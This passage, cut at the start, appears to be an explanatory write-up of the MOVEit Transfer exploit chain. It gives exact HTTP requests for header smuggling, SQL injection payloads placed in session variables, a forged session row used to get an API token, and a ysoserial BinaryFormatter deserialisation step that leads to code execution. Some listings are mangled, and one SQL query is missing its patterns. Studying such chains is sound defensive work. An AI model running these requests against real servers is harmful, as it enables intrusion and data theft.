int num4 = array[i].IndexOf(':', num);
if (num4 >= 0)
{
int num5 = array[i].IndexOf(':', 1 + num4);
if (num5 > 0)
{
string text = array[i].Substring(2 + num4, num5 - num4 - 2);
string text2 = array[i].Substring(2 + num5);
this.SetValue(text, text2);
}
}
}
}
return flag;
}
}
The method splits the raw header text into lines. For each line it checks whether the line starts with X-siLock-SessVar. If so, it finds the first colon after that prefix and a second colon after that. The text between the two colons becomes the variable name, and everything after the second colon becomes the value. SetValue stores the pair. Nothing is cleaned, so whatever the attacker writes becomes a session variable.
Smuggling the transaction
By sending two X-siLock-Transaction headers, one with a prefix and one without, the researchers were able to smuggle a header through. The prefixed header satisfies the ISAPI filter, and only the unprefixed one is copied downstream, so machine2.aspx sees session_setvars.
POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: [redacted]
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: KEY: VALUE
Cookie: ASP.NET_SessionId=mbmku5wyybymnaimli40bg2a; siLockLongTermInstID=0
Content-Length: 0
Reading it line by line:
- The first line says this is a POST request to the ISAPI address with
action=m2. Hostnames the server being contacted.Connection: closeasks the server to close the connection after replying.XX-siLock-Transaction: folder_add_by_pathis the decoy. It does not start withX-siLock-, so the filter reads it, sees the allowed transaction, and lets the request through. It is then copied downstream too, but the next header matters more.X-siLock-Transaction: session_setvarsstarts withX-siLock-, so the filter ignores it and does not copy it. But the application itself reads it, and it sayssession_setvars.X-siLock-SessVar1: KEY: VALUEis a session variable to be set, in the format the removed method expects.Cookiecarries the session identifier so the server knows which visit this belongs to.Content-Length: 0says there is no body.
With this, arbitrary SQL could be placed in session variables. SQL is the language used to talk to a database, the organised store of all the application's data. The remaining task was to find a place where one of those variables reaches an uncleaned SQL query. dnSpy's analyzer was used to list every use of the database query methods, and the calls were reviewed for injectable ones, focusing on session handling and machine2.aspx code paths.
The injectable query in guestaccess.aspx
The handler for /guestaccess.aspx contained a query that looked injectable:
if (this.m_pkginfo.IsSelfProvisioned)
{
this.siGlobs.objWrap.DoUpdateQuery(
"UPDATE guestfileaccess SET Viewed=1 WHERE AccessCode='" +
this.m_accesscode +
"'",
null
);
this.m_gotoselfprovisiondone = true;
this.siGlobs.objUser.RemoveSession();
this.ClearVariables();
return;
}
This code builds an UPDATE statement, which changes a row in a database table. It glues the value of m_accesscode straight into the middle of the query text, between two single quotes. If m_accesscode contains a quote of its own, the attacker can close the string early and add their own SQL. That is SQL injection: the database cannot tell the difference between the programmer's text and the attacker's text.
m_accesscode comes from LoadFromSession in SILGuestPackageInfo, which reads MyPkgAccessCode from the session. The same method also sets IsSelfProvisioned when MyPkgID equals 0.
public void LoadFromSession()
{
this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");
this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");
this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");
this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");
this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");
this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0;
this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");
this.Viewed = ((-((SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) > false) ? 1 : 0)) ? 1 : 0);
}
Each line copies a session variable into a field. MyPkgAccessCode becomes AccessCode, which later becomes m_accesscode. MyPkgID being 0 makes the package self-provisioned, which is the branch that runs the vulnerable UPDATE. Because we can set session variables through the smuggled transaction, we control all of these values.
LoadFromSession runs at the start of the handler, while the injection point is several hundred lines later. The researchers attached a debugger, set a breakpoint just after LoadFromSession, set MyPkgAccessCode in the request and stepped through, adjusting the request each time a check or missing value diverted execution. A breakpoint is a deliberate pause in a running program so you can inspect it.
The CSRF token
CSRF stands for cross-site request forgery. It is an attack where another website tricks your browser into sending a request you did not intend. To stop it, applications often include a secret token in forms, which the server checks on submission. A token is a long random string that proves a request came from the real page.
No request in the history had returned a CSRF token. Looking at the calls that generate one (GetCT), one was found on guestaccess.aspx. It required a specific value of m_nextform, which is set as follows:
else if (Operators.CompareString(this.m_accesscode, string.Empty, false) == 0)
{
this.m_nextform = "promptaccesscode";
}
else if (Operators.CompareString(this.m_validationcode, string.Empty, false) == 0)
{
this.m_nextform = "promptpassword";
}
else if (Operators.CompareString(this.siGlobs.Arg12, string.Empty, false) == 0 || Operators.CompareString(this.siGlobs.Arg12, "message", false) == 0)
{
this.m_nextform = "pkgview";
}
else
{
this.m_nextform = this.siGlobs.Arg12;
}
This is a chain of if checks. If the access code is empty, the next form is promptaccesscode. If the validation code is empty, it is promptpassword. If Arg12 is empty or message, it is pkgview. Otherwise the next form is whatever Arg12 says. Arg12 is set straight from the form parameters, so a POST body containing arg12=promptaccesscode produced a response with the CSRF token.
The notification check
Right before the injection point, the handler calls MsgPostForGuest:
string text3 = this.siGlobs.objEngine.msgEngine.MsgPostForGuest(
ref this.m_pkginfo,
ref this.siGlobs.Arg01,
ref cleanedMessage,
ref this.siGlobs.Arg09,
ref this.siGlobs.Arg08,
ref this.siGlobs.Opt19,
num
);
This is over a thousand lines that assemble and send a notification about the accessed package. Some checks were trivial, such as setting a subject and a from address resembling a valid email. The hard requirement was the session variable MyPkgSelfProvisionedRecips, which had to contain a comma separated list of email addresses. Those addresses are used to look up usernames in the database, and if no valid users are found no notification is sent and the injection point is never reached.
The lookup query, with [redacted] as the address, looks like this:
SELECT
Username, Permission, LoginName, Email
FROM
users
WHERE
InstID=0 AND Deleted=0 AND Permission>=10 AND (
Email=
`Email` LIKE
`Email` LIKE
`Email` LIKE
)
ORDER BY
LoginName`
This asks the database for the username, permission level, login name and email of users in a particular installation, who are not deleted, who have at least permission level 10, and whose email matches one of three patterns. LIKE is a pattern match where % stands for any run of characters.
Using %.com% to match everything does not work, because every % is either preceded by or followed by a comma, presumably because the application stores multiple addresses as a comma separated list. Looking at how the query is built showed why:
object obj = NewLateBinding.LateGet(null, typeof(string), "Format", array = new object[]
{
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
"SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " ",
Interaction.IIf(bJustEndUsers, "AND Permission>=" + Conversions.ToString(10) + " ", "")
),
"AND "
),
"("
),
"Email='{2}' OR "
),
this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", true, false, true, false)
),
Interaction.IIf(bJustFirstEmail, "", " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", true, false, true, false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", true, false, true, false))
),
") "
),
"ORDER BY LoginName"
),
InstID,
this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
EmailAddress
}, null, null, array2 = new bool[]
{
default(bool),
true,
default(bool),
true
});
This is a long chain of string concatenations, building the query piece by piece. The {0}, {1} and {2} are placeholders filled in by Format at the end. The LIKE fragments are built by BuildLikeForSQL, which cleans them. But the fragment Email='{2}' OR is glued in directly, and {2} is the raw email address. That gives stacked-query SQL injection here, constrained by the comma splitting of the recipient list. A stacked query is when you add a second, separate SQL statement after the first.
Rather than needing to know a real user's email, the researchers built a query that returns the first non-deleted user:
SELECT
Username, Permission, LoginName, Email
FROM
users
WHERE
InstID=0 AND Deleted=0 AND Permission>=10 AND (Email='x' or 1=1)
LIMIT 1;
or 1=1 is always true, so the email condition is ignored and every user matches. LIMIT 1 returns just the first one. The payload that achieves this inside the recipient list looks like this:
``-- a' OR Email LIKE 'x' or 1=1) LIMIT 1; -- a,%' OR Email LIKE '%,x' or 1=1) LIMIT 1; -- a' OR Email LIKE '%,x' or 1=1) LIMIT 1; -- a,%' ) ORDER BY LoginName```
The -- starts a comment in SQL, so everything after it is ignored. The ' closes the string early, and the or 1=1) LIMIT 1; makes the query return a user regardless of the email.
Exploitation
Step 1: stacked query through the session variables
The first stacked query updates the notes field of the sysadmin user. The request sets the session variables through the smuggled session_setvars transaction.
POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: [redacted]
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: MyUsername: Guest
X-siLock-SessVar2: MyPkgValidationCode: 1
X-siLock-SessVar3: MyInstMessaging: 1
X-siLock-SessVar4: MyGuestEmailAddr: [redacted]
X-siLock-SessVar5: MyPkgID: 0
X-siLock-SessVar6: MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- a
X-siLock-SessVar7: MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- a
Cookie: ASP.NET_SessionId=21ts1wiqbftjbjqjbrnjbuxj; siLockLongTermInstID=0
Content-Length: 0
Line by line:
- The decoy
XX-siLock-Transactiongets the request past the ISAPI filter. - The real
X-siLock-Transaction: session_setvarstells the application to run the session variable handler. MyUsername: Guestsets the username to a guest.MyPkgValidationCode: 1gives a validation code so the handler does not stop early.MyInstMessaging: 1turns messaging on.MyGuestEmailAddr: [redacted]gives a from address that looks like a valid email.MyPkgID: 0makes the package self-provisioned, so the vulnerableUPDATEruns.MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- asatisfies the notification lookup withor 1=1) LIMIT 1, so a user is always found.MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- acarries the stackedUPDATE, which sets thenotesfield of thesysadminuser topwned.- The
Cookieidentifies the session, andContent-Length: 0says there is no body.
Checking the database confirmed it:
mysql> select notes,loginname from users;
+
| notes | loginname |
+
| | admin |
| pwned | sysadmin |
+
2 rows in set (0.00 sec)
This is a database console showing two users. The sysadmin row now has pwned in its notes field, which proves the injected statement ran.
Step 2: obtaining an API token
The /api/v1/token documentation lists five grant types: password, refresh_token, otp, code and external_token. A grant type is the method you use to prove who you are when asking for a token. The implementation has an unlisted one, GrantSessionToken, which is far more useful with SQL injection.
public override async Task GrantCustomExtension(OAuthGrantCustomExtensionContext context)
{
await this._container.RunAsync(delegate
{
if (MOVEitAuthorizationServerProvider.IsSessionGrantType(context))
{
this.GrantSessionToken(context);
return;
}
if (MOVEitAuthorizationServerProvider.IsOtpGrantType(context))
{
this.GrantOtpToken(context);
return;
}
if (MOVEitAuthorizationServerProvider.IsCodeGrantType(context))
{
this.GrantAuthorizationCodeToken(context);
return;
}
if (MOVEitAuthorizationServerProvider.IsExternalTokenGrantType(context))
{
this.GrantTokenFromExternalToken(context);
return;
}
context.SetError("invalid_grant");
});
}
This method checks the requested grant type in turn. If it is a session grant, it calls GrantSessionToken. If it is a one-time password, it calls GrantOtpToken. If it is an authorisation code, it calls GrantAuthorizationCodeToken. If it is an external token, it calls GrantTokenFromExternalToken. If none match, it returns invalid_grant. The session grant is the undocumented one.
That path runs a query against activesessions to check whether the session is valid:
SILDictionary<string, string> sildictionary =
new SQLBasicBuilder(this.siGlobs.objWrap, SqlTable.ActiveSessions)
.AddAllColumnsToSelect()
.AddAndColumnEqualsToWhere<string>(SqlTable.ActiveSessions, "SessionID", trySessionId, true, "")
.AddAndColumnEqualsToWhere<int>(SqlTable.ActiveSessions, "Remove", 0, false, "")
.AddAndToWhere("LastTouch > TIMESTAMPADD(MINUTE, -Timeout, CURRENT_TIMESTAMP)")
.SetLimit(1)
.SelectQueryRow();
This builds a query that selects a row from the activesessions table where the session ID matches, the row is not marked for removal, and the last touch is within the timeout. SetLimit(1) returns at most one row. So a row is needed in activesessions matching the current session ID and not expired. A new session was created and the following query run through the SQL injection:
insert into activesessions (
SessionID,
Username,
LoginName,
LastTouch,
InterfaceCode,
IPAddress
) values (
'sv3b3drb2turhcxna00kewh1',
(select username from users where loginname='sysadmin'),
'sysadmin',
'2023-12-30',
6,
'[redacted]'
);
This inserts a new row into the active sessions table. The session ID is the one we chose. The username is fetched with a subquery, because the username value is randomly generated and we do not know it. The login name is sysadmin, the last touch is a date, the interface code is 6, and the IP address is [redacted], which means the local machine.
InterfaceCode and IPAddress are needed for later checks on whether the session is valid for the request. Their values were found the same way as the notification recipients: with a debugger, stepping through and adjusting the request until the desired branch was reached.
With the row in place, the token request was sent. Username and password are required but ignored.
POST /api/v1/token HTTP/1.1
Host: [redacted]
Connection: close
Cookie: ASP.NET_SessionId=sv3b3drb2turhcxna00kewh1; siLockLongTermInstID=0
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
username=x&password=x&grant_type=session
HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
X-Robots-Tag: noindex
Date: Fri, 09 Jun 2023 06:04:27 GMT
Connection: close
Content-Length: 826
{"access_token":"[redacted]","token_type":"bearer","expires_in":1199,"refresh_token":"[redacted]"}
Line by line:
- The request is a POST to the token endpoint.
- The
Cookiecarries the session ID we inserted into the database. Content-Type: application/x-www-form-urlencodedsays the body is form data.- The body says
grant_type=session, which selects the undocumented grant. The username and password are placeholders. - The response is
200 OK, meaning success. - The JSON body contains an
access_token, atoken_typeofbearer, anexpires_inof 1199 seconds, and arefresh_token. A bearer token is a token you simply present with each request, like a ticket; whoever holds it is treated as you.
Step 3: resumable upload and the encrypted stream
The next step was to turn API access into code execution. The theory was that an attacker creates a resumable upload, uses SQL injection to change the upload's destination, and then continues the upload. A resumable upload is a file upload that can be sent in pieces, so a large file can be resumed if the connection drops. The handler for the file content is:
[HttpPut]
[Route("{Id}/files", Name = "FolderUploadFilePart")]
[ApiExplorerSettings(IgnoreApi = true)]
public async Task<IHttpActionResult> UploadFilePart([FromUri] FolderUploadFilePartRequest request)
{
IEnumerable<string> enumerable;
if (base.Request.Headers.TryGetValues("X-File-Hash", out enumerable))
{
request.FileHash = enumerable.First<string>();
}
HttpContent content = this._bufferlessContentProvider.GetContent(base.Request);
if (content.Headers.ContentLength != null)
{
request.ChunkSize = content.Headers.ContentLength.Value;
}
IEnumerable<string> enumerable2;
if (content.Headers.TryGetValues("Content-Range", out enumerable2))
{
ContentRangeHeaderValue contentRangeHeaderValue;
ContentRangeHeaderValue.TryParse(enumerable2.First<string>(), out contentRangeHeaderValue);
request.UploadRange = contentRangeHeaderValue;
}
using (Stream stream = this._resumableUploadFilePartHandler.GetUploadStream(request))
{
if (stream != Stream.Null)
{
await base.Request.Content.CopyToAsync(stream);
}
}
This method handles a PUT request that sends one piece of a file. It reads an optional X-File-Hash header, reads the content length, reads the Content-Range header that says which part of the file this is, gets a stream to write to, and copies the request body into it. A stream is a channel for reading or writing data, like a pipe.
The interesting call is GetUploadStream. Controlling the output file would allow writing a payload into the webroot, the folder the web server serves files from, so the server would run it. But the stream is created like this:
private FileTransferStream CreateFileUploadStream(DataFilePath filePath)
{
return new FileTransferStream(
filePath,
EncryptedStream.CryptoMode.Encryption,
this._fileSystemFactory
);
}
This creates a file transfer stream with the encryption mode set to Encryption. Files saved by resumable upload are always encrypted on disk, so controlling the destination would not lead to execution: the server would store scrambled bytes, not a runnable file.
However, DeserializeFileUploadStream creates a new stream only when _uploadState is empty; otherwise it deserialises one, which is an unsafe deserialisation route to code execution. Deserialisation is turning stored data back into a live object in memory. If an attacker controls that data, they can sometimes make the program create an object that does something harmful.
private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
{
if (this._uploadState.Length == 0)
{
return this.CreateFileUploadStream(filePath);
}
int num = 1;
...
BinaryFormatter binaryFormatter = new BinaryFormatter
{
Context = new StreamingContext(StreamingContextStates.All, fileHeaderStream)
};
FileTransferStream fileTransferStream;
using (MemoryStream memoryStream = new MemoryStream(this._uploadState))
{
fileTransferStream = (FileTransferStream)binaryFormatter.Deserialize(memoryStream);
}
return fileTransferStream;
}
If _uploadState is empty, it creates a normal encrypted stream. Otherwise it wraps the state bytes in a memory stream and hands them to BinaryFormatter, which rebuilds an object from them. BinaryFormatter is a .NET component that turns bytes back into objects, and it is dangerous with untrusted input because the bytes can describe an object that runs code when rebuilt.
dnSpy's analyzer showed only one place where _uploadState is assigned.
That place is GetFileUploadInfo:
private bool GetFileUploadInfo()
{
string tableNameAttribute = SqlTable.FileUploadInfo.GetTableNameAttribute();
string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute();
SILDictionary<string, string> sildictionary =
new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo)
.AddColumnToSelect(tableNameAttribute, "Comment")
.AddColumnToSelect(tableNameAttribute, "XferID")
.AddColumnToSelect(tableNameAttribute, "State")
.AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute + ".FileID")
.AddAndToWhere(tableNameAttribute + ".FileID='" + this._fileId + "'")
.AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'")
.SelectQueryRow();
if (sildictionary == null)
{
this.SetParameterError(3800, 90512, this._fileId);
return false;
}
this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(sildictionary["Comment"]);
this._xferId = long.Parse(sildictionary["XferID"]);
this._uploadState = Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(sildictionary["State"]));
return true;
}
This queries the upload info table, joined to the files table, for the row matching the file ID and the current user. It reads the comment, the transfer ID and the state. The comment is decrypted into _originalUploadComment. The state is decrypted and decoded from base64 into _uploadState. Base64 is a way of writing binary data as plain text. So _uploadState comes from the database, and SQL injection can set it, but the State field is encrypted.
Rather than trying to bypass the encryption, the researchers looked for a place where the application encrypts data and stores it, so the value could simply be copied. Searching the calls to DBFieldEncrypt found one in CreateUploadInfo:
private void CreateUploadInfo()
{
DMLRecord dmlrecord = new DMLRecord(this._globals, SqlTable.FileUploadInfo);
dmlrecord.AddColumn("FileID", this._fileId, false);
dmlrecord.AddColumn("Comment", this._globals.objUtility.DBFieldEncrypt(this._comment), false);
dmlrecord.AddColumn("XferID", this._xferId, false);
dmlrecord.DoInsert();
}
This inserts a new row into the upload info table. The comment is encrypted with DBFieldEncrypt before being stored. The Comment field of the same table is encrypted too. Setting the comment to the payload when creating the resumable upload is enough; no extra endpoint is needed.
Step 4: the deserialisation payload
The payload was generated with ysoserial.net:
>ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "whoami > C:\x.txt"
AAEAAAD/////[redacted]==
The command runs ysoserial with the WindowsIdentity gadget, the BinaryFormatter format, and the command whoami > C:\x.txt. whoami prints the current user name, and > C:\x.txt writes it to a file. The long string below is the payload it produced.
The first request creates the resumable upload, with the payload in the comments field:
POST /api/v1/folders/964602477/files?uploadType=resumable HTTP/1.1
Host: [redacted]
Connection: close
Authorization: Bearer ...
Content-Length: 2374
Content-Type: multipart/form-data; boundary=[redacted]
--[redacted]
Content-Disposition: form-data; name="name"; filename="name"
x.txt
--[redacted]
Content-Disposition: form-data; name="comments"; filename="comments"
AAEAAAD
/////[redacted]==--[redacted]--
Line by line:
- The request is a POST to the folder's files endpoint with
uploadType=resumable, which starts a resumable upload. Authorization: Bearer ...presents the token obtained earlier.Content-Type: multipart/form-datawith a boundary says the body is split into parts, each separated by the boundary string.- The first part sets the file name to
x.txt. - The second part sets the comments field to the payload. The payload shown is the ysoserial output.
- The final boundary line closes the body.
Step 5: copying the encrypted payload into the state
The following query was run through the SQL injection, copying the encrypted comment into the state field:
update fileuploadinfo set state=comment where fileid='966489702';
This takes the encrypted comment, which the application itself encrypted when the upload was created, and copies it into the state column for the same file. Because the application produced the encrypted value, the attacker never needs to know the encryption key.
Step 6: triggering deserialisation
The final request continues the upload, which causes the state to be deserialised:
PUT /api/v1/folders/964602477/files?uploadType=resumable&fileId=966489702 HTTP/1.1
Host: [redacted]
Connection: close
Authorization: Bearer ...
Content-Range: bytes 0-1/10
Content-Length: 141
Content-Type: multipart/form-data; boundary=[redacted]
--[redacted]
Content-Disposition: form-data; name="file"; filename="file"
x
--[redacted]--
Line by line:
- The request is a PUT to the same folder's files endpoint, with the file ID, which continues the upload.
Authorization: Bearer ...presents the token again.Content-Range: bytes 0-1/10says this is the first two bytes of a ten-byte file.- The body is a multipart form with one part named
filecontaining the letterx.
When the server handles this, it reads the state from the database, decrypts it, and hands it to BinaryFormatter, which rebuilds the object and runs the command. The result was checked and confirmed the exploit had worked.
Root cause
The chain combines several weaknesses:
SetAllSessionVarsFromHeaderscopies arbitraryX-siLock-SessVarheaders into session variables without cleaning. The ISAPI filter forwards only headers that do not begin withX-siLock-, but a duplicate header with a prefix (XX-siLock-Transaction) satisfies the filter while the unprefixedX-siLock-Transactionis the one that reachesmachine2.aspx. This lets an attacker select thesession_setvarstransaction even though the filter only allowsfolder_add_by_path.guestaccess.aspxglues the session valueMyPkgAccessCodeinto anUPDATEstatement without parameterisation, giving stacked-query SQL injection. Parameterisation means passing values separately from the query text so they cannot be mistaken for commands.- The notification lookup builds SQL with string concatenation. The LIKE fragments are escaped, but the
Email='{2}' ORfragment is not, which allows the recipient check to be satisfied withor 1=1) LIMIT 1. - The API token endpoint accepts an undocumented
sessiongrant type that trusts a row inactivesessions, which the SQL injection can insert. - The resumable upload handler deserialises the
Statecolumn withBinaryFormatterwhen it is non-empty. The column is encrypted, but the application itself encrypts theCommentfield on upload creation, so the attacker can have the application produce a valid encrypted payload and copy it with SQL injection.
Impact
An attacker with network access to the MOVEit Transfer instance can use the SQL injection to write to the database, insert an active session, obtain a bearer API token, and then trigger unsafe deserialisation through the resumable upload API, which leads to remote code execution as shown by the whoami payload. The post notes that the vulnerability was being actively exploited at the time of the first part, and that companies were still being hit when this part was published; the release of public proof-of-concepts could increase that.
Fix
The patch removed SetAllSessionVarsFromHeaders. The post points readers to Progress' bulletin for version and patch information.
Variants to test
- Duplicate-header smuggling: send a prefixed and an unprefixed copy of a header that a front-end filter blocks, and see whether the back end acts on the unprefixed value. A positive result is the back end processing a transaction or value the filter was meant to reject.
- Session variable injection: look for handlers that copy request headers into session state without cleaning, then trace every session value into SQL, file paths or deserialisation. A positive result is a session value appearing unescaped in a query or a stream.
- Undocumented OAuth grant types: enumerate the grant types the token endpoint accepts beyond those documented, and check whether any of them trusts a database row or a session identifier. A positive result is a token issued for a session the attacker controls.
- Encrypted database fields: find fields that are decrypted and then deserialised or otherwise trusted, and look for an endpoint that encrypts attacker-controlled input into the same table. A positive result is a value the application encrypted for you being accepted where a trusted value is expected.
- Comma-split input in query builders: where a list is split on commas before being placed in a query, check whether any fragment around the split is concatenated without escaping. A positive result is a boolean or stacked query that changes the result set or the database.
Glossary
- API: a set of web addresses meant for programs to talk to each other, rather than for people to browse.
- Base64: a way of writing binary data as plain text characters.
- Bearer token: a token you present with each request; whoever holds it is treated as you.
- BinaryFormatter: a .NET component that rebuilds objects from bytes; dangerous with untrusted input.
- Breakpoint: a deliberate pause in a running program so you can inspect it.
- Cookie: a small piece of data your browser stores for a site and sends back with each request.
- CSRF (cross-site request forgery): an attack where another website tricks your browser into sending a request you did not intend.
- CSRF token: a secret value in a form that proves the request came from the real page.
- CVE: a public identifier for a known security flaw.
- Debugger: a tool that lets you pause a running program and walk through it line by line.
- Decompiling: turning a compiled program back into readable code.
- Deserialisation: turning stored data back into a live object in memory.
- DLL: a library of code that a program loads.
- dnSpy: a tool for reading and stepping through .NET programs.
- Endpoint: a specific address on a server that accepts a particular kind of request.
- Ghidra: a free tool that turns compiled programs back into readable code.
- Grant type: the method used to prove who you are when asking for a token.
- Header: a small piece of extra information attached to a web request.
- HTTP method: the verb of a web request, such as GET, POST or PUT.
- Injection: tricking a program into treating part of your input as a command rather than as plain data.
- ISAPI filter: a small program in front of a web application on IIS that inspects or modifies requests.
- LIKE: a SQL pattern match where
%stands for any run of characters. - Parameter: a named value in a URL or request.
- Parameterisation: passing values separately from query text so they cannot be mistaken for commands.
- Patch: a software update that fixes a flaw.
- Remote code execution (RCE): running your own commands on someone else's server.
- Resumable upload: a file upload sent in pieces so it can be resumed if the connection drops.
- Session: the server's memory of who you are across several requests.
- Session variable: a named value the server keeps for you during your visit.
- SQL: the language used to talk to a database.
- SQL injection: inserting SQL into a query through uncleaned input.
- Stacked query: adding a second, separate SQL statement after the first.
- Stream: a channel for reading or writing data.
- Subquery: a query nested inside another query.
- Token: a long random string that proves a request came from the real page or an authorised user.
- URL: the address you type in a browser.
- Webroot: the folder the web server serves files from.
- ysoserial.net: a tool that builds malicious data blobs for deserialisation attacks.